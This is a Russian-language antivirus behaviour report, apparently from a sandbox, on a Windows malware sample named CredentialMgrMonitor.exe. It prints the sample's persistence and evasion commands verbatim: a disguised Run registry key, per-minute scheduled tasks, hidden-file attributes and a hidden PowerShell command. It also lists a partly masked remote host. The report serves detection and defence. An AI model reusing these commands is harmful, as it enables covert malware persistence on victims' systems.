Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinDefSvc' = '%APPDATA%\CredentialMgrMonitor.exe'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\maintenance\printservicehost
- <SYSTEM32>\tasks\credentialmgrmonitor
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Pa...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe
- nul
- %APPDATA%\credentialmgrmonitor.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe
- %APPDATA%\credentialmgrmonitor.exe
Сетевая активность
Подключается к
- 'fr###asonry.dev':31500
TCP
Другие
- 'fr###asonry.dev':31500
UDP
- DNS ASK fr###asonry.dev
Другое
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe' --r
- '%LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe' --wd 5560
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%LOCALAPPDATA%\Microsoft\Media Player\CredentialMgrMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (G... (со скрытым окном)
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute '%LOCALAPPDATA%\Microsoft\Media Player\CredentialMgrMonitor.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New...
- '<SYSTEM32>\cmd.exe' /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c chcp 65001 >nul && schtasks /create /f /sc minute /mo 1 /tn "CredentialMgrMonitor" /tr "\"%APPDATA%\CredentialMgrMonitor.exe\"" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /mo 1 /tn "CredentialMgrMonitor" /tr "\"%APPDATA%\CredentialMgrMonitor.exe\""
- '<SYSTEM32>\cmd.exe' /c chcp 65001 >nul && reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinDefSvc /t REG_SZ /d "%APPDATA%\CredentialMgrMonitor.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinDefSvc /t REG_SZ /d "%APPDATA%\CredentialMgrMonitor.exe" /f
- '<SYSTEM32>\cmd.exe' /c chcp 65001 >nul && attrib +h +s "%LOCALAPPDATA%\Microsoft\Media Player\CredentialMgrMonitor.exe" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +h +s "%LOCALAPPDATA%\Microsoft\Media Player\CredentialMgrMonitor.exe"
- '%LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe' --r (со скрытым окном)
- '%LOCALAPPDATA%\microsoft\media player\credentialmgrmonitor.exe' --wd 5560 (со скрытым окном)
